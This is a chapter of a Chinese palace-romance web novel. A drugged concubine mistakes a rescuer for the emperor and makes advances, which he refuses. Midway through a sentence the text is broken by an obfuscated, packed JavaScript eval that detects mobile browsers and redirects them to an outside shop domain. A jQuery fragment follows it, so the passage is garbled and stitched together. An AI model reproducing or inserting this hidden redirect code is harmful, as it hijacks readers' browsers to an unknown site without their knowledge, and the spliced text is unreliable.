楚悦和玄帝,的确有过美好的回忆。
有一次在御花园摘荷花,突然天降大雨,是玄帝撑着一把伞出现,将她一路抱回了她的寝殿。
知道她爱吃石榴,便命工部建造一艘大船,从太行山运回一颗两人合抱的石榴树,亲手给她种在院中。
至今她还记得,那石榴树亭亭如华盖,来时硕果累累,有一颗果实熟透,从枝头落下,砸在了他的肩头。
她躲在门后惊诧,白露却大笑,引来他的注目,羞得她急忙躲回屋里。
自她进宫,到玄帝中药不得已强迫她,中间有过长达半年时间,他的宠爱从未间断,凡此种种,不胜枚举。
这半年中,他知道她在逃避侍寝,也从未逼迫。
若不是那次意外,只怕她也早已甘愿献出自己。
后来她怨恨他,他心知肚明,却还是独宠她一人。
昔日痛苦如潮水般席卷,美好如同风影,转瞬不见。
双足仿佛泡在冰冷的潮水中,楚悦浑身僵冷,连忙起身开始收拾行李,用忙碌驱散寒意。
找见了智泓大师给的那只小药瓶。
瓶子通体发黑,握在手心凉凉的,小小一只,倒有些分量,放在耳边摇一摇,却听不见什么声响。
这究竟是什么神药?
为何一丝动静都没有,里头该不是空的吧?
来到桌边,打开瓶塞,往手心一倒,竟真是空的!
楚悦难以置信,连忙拿过蜡烛,正要对着瓶子照一照,忽然看见面前的茶碗里,不知何时多了一粒芝麻大小的黑东西,似乎正在化开……
不好!
如此弥足珍贵的药丸,竟只有这般大小,转眼溶解了。
楚悦懊悔不及,急忙端起茶碗摇晃两下,将里头的水喝了个干净。
一边埋怨智泓大师小气,一边懊恼自己粗心,又收拾一会儿东西,忽然觉得有些头晕。
视线开始模糊,身子渐渐变轻,脑子一片混沌,只想回房睡下。
可白露还未曾回来。
摸索到门口,恍惚中,看到院中伫立着一道笔挺的人影,周身清辉环绕,散发着阵阵寒芒。
玄帝……
他知道她在这屋中,过门而不入,只静静地看着,是否也和她一样,在追忆那些曾经?
*
裴俨刚从外面回来,看到楚悦屋中亮着,却未曾掩门,便驻足看了一会儿。
见她出来,立即错开视线,正要转身离开,却见她身子一晃。
连忙大步上前,在她摔倒之前,扶住她的手臂。
定睛一看,却见她神色迷离,眼睛上仿佛蒙着一层雾气,看着十分虚弱。
“你怎么了?”
楚悦抬眸,便见玄帝望着自己,长眉微蹙,神色关切。
瞬而阖上眼,微笑着往他怀中靠了靠。
“你来了……”
语声甜软,一副小女儿娇态,裴俨立即不再看她,手臂又用了些力,尽量不让她的身子碰上自己:“唐突你了,你自己站好,我马上走。”
一松手,她的身子却摇晃着倒过来,他忙又把人扶住,往屋里扫了一圈,不见她的婢女,便道:
“我先扶你进去,你等我叫大夫过来。”
进门两步,便是一张圆桌。
扶她坐下后,一转身,却被一双柔软的手臂环住了腰。
后背一僵,小腹蓦地一紧,便听见她小声地央求:“别走……”
年轻男子修长的脖间,嶙峋的喉结迅速滚动。
半晌开口,声线已然暗哑:“我去叫大夫。”
“我不要大夫,”楚悦脸颊紧贴着他后腰,“我只想要你。”
这双手臂柔弱无骨,缠在腰间,好似一圈圈湿透的白绸,将他牢牢缚住住,令他分毫不能动弹,甚至要夺去他的呼吸。
裴俨望着屋外,庭院空旷,凉夜如水。
他心脏急跳,半晌,额间已是青筋暴起。
一狠心,握住她的手,将它们从身上拿开。
旋即转身,将她扶住:“你坐好,我很快回来。”
“不要……”
楚悦急忙抓住他的手。
从前要她主动,如今她主动了,他却这般冷淡。
视线愈发模糊,仰头望向他时,眼角已有了凉意。
“我想去榻上……”
裴俨望着她湿润的眼角,心口一窒,却还是转身走了出去。
楚悦望着消失在门口的人影,竟是比从前他欺负自己时,还要伤心。
为何总是对她这般狠心。
把头埋进桌子里,彻底哭了出来。
哭了两声,忽然感觉有人进门,她立即止住哭,未及抬头,便觉一双手臂穿过她的膝弯,将她打横抱了起来。
是玄帝,他竟然又回来了。
她惊诧地看着他的侧脸,他目不斜视,将她稳步抱上了床榻。
他终究还是疼她的。
躺到榻上,楚悦本以为,下一刻他就要来撕扯,谁知他却起身要走。
她急忙勾住了他腰间玉带,这是从前,他手把手亲自教给她的。
但她从未主动这样对他做过。
今日是第一次,生怕他不满她的生疏,手犹自颤颤。
被她猝不及防一勾,裴俨险些压上她,全凭一手撑着床榻,才与她保持着岌岌可危的距离。
时而羞怯,时而勇猛,时而这般……
真是让人难以招架。
毫不错眼地打量着她,目光越发幽暗,语声却清冷:“你做甚?”
楚悦耳后一热,鼓起勇气抚上他脸颊,靠近他耳边,颤声:“我想亲你……”
裴俨额角一跳,未及将她推开,便觉耳垂上一片轻软。
他浑身僵住,手背上筋络凸起,转眼之间,楚悦绵绵的轻吻已经颤抖着,熨烫过他的耳垂,脸颊,脖颈……
心跳骤乱,这一抹温柔素缟,终于拂向了自己。
可他却不敢妄自领受,轻轻推开她的手,沉声道:“停下。”
楚悦一怔。
浓烈的男子气息从他的领口逸出,温热又带着些许潮湿,细嗅下,仿佛还能闻见淡淡的茶香。
她都如此主动了,他竟还能这般冷静。
她难以置信,手又不安分起来,却被他猛地攥住。
“不可!”这高昂的一声,她听出了他的怒意。
是她做的不够好?
羞耻,委屈,她顿时红了眼睛,耳朵却是滚烫。
“你不是一直想这么做吗?”她颤声问。
裴俨紧紧攥着她的手不让她再乱动,望着她泛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13259191|139801||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
红的眼底,声音稍稍平息,正色道:“我并非贪恋肉.欲之人!”
“你……不喜欢我了?”楚悦着实震惊。
眼见她泫然欲泣,怕她又要缠上来,裴俨当机立断,伸手点了她颈上穴位,她总算闭上眼,安分地躺回榻上。
方才一番折腾,床褥,两人衣衫尽乱。
无意瞥见她胸口,透过轻薄的亵衣边缘,显出一抹刺目的红。
心下一惊,迅速探过手去,掀开一看,却是瞳孔一颤。
他以为是血的地方,竟是一只灵巧的蝶,翩然欲飞。
这一片白太过夺目,他迅速错开视线,胡乱替她拢好衣裳。
片刻也不敢多待,来到外间,瞥见桌上倒着一只漆黑小巧的瓷瓶,思及方才她古怪行迹,瞳孔骤然一缩。
拿起一嗅,竟有股奇异的药味,和他从前有次办案时查获过的迷药极为相像。
片刻之间,已有无数念头划过心头,最终还是沉着脸,将药瓶放回原处。
关上门窗,确定不会有歹人闯入,兀自走进了凉凉夜色。
*
次日,楚悦醒来,思及昨夜,只觉得非比寻常。
梦境真实得离奇,玄帝的举止也一反常态。
面对她的主动,他竟没有很欢喜,反倒十分不悦。
特别是那一句“我并非贪恋肉.欲之人”,语气极重,仿佛有一把刀,刻进了她的脑海般,挥之不去。
他在恼什么?
莫非这些年,她一直误解了他?
他说让她主动些,难不成,只是想让她在别的方面,对他主动些?
她确实不喜争宠,别的妃嫔时不时送来亲手绣的寝衣,鞋靴,而她却从未主动为他做过什么。
仿佛有一道天光,将这长达三年的黑暗照亮,她顿时有种豁然开朗的感觉。
收拾好东西,来到院中,却找不见白露的人影。
顿时慌了,一早明明嘱咐她,今日回陵宫,切不可走远。
“白露——白露——”
“我在这——”
楚悦循声看去,便见对面的屋顶上坐着两个孩子,一男一女,女孩正在冲自己招手,正是白露。
柔声喊道:“快下来,我们该回去了——”
听见楚悦唤,白露立即指着院子,对那少年道:“送我下去,我要跟姐姐回家了。”
“姐姐?”晨风很是诧异。
白露却下巴一扬,满脸得意。对生人,她一向这般介绍她和楚悦的关系。
一落地,她便跑到楚悦身边,指着晨风,跟她说他武功多么多么厉害,昨日救她的时候多么多么英雄。
楚悦见这少年衣衫朴素,正要取出些银钱聊表谢意,便见他身后,走出一道英伟的人影。
“晨风。”
语声低沉,透着威慑,晨风立即走过去,在他身后站好。
是他。
楚悦一怔,既是他的人,若是以金银相赠,便显得俗气了。
这些日子,的确受他诸多恩惠,此番一别,只怕今生不复再见。
想说些什么与他道别,抬眸看去,瞳孔骤然放大。
今日他穿着一身紫袍,比起昨日那身清逸的白袍,倒多了几分矜贵,眉宇之间正气凛然,竟显出几分帝王之相。
玄帝……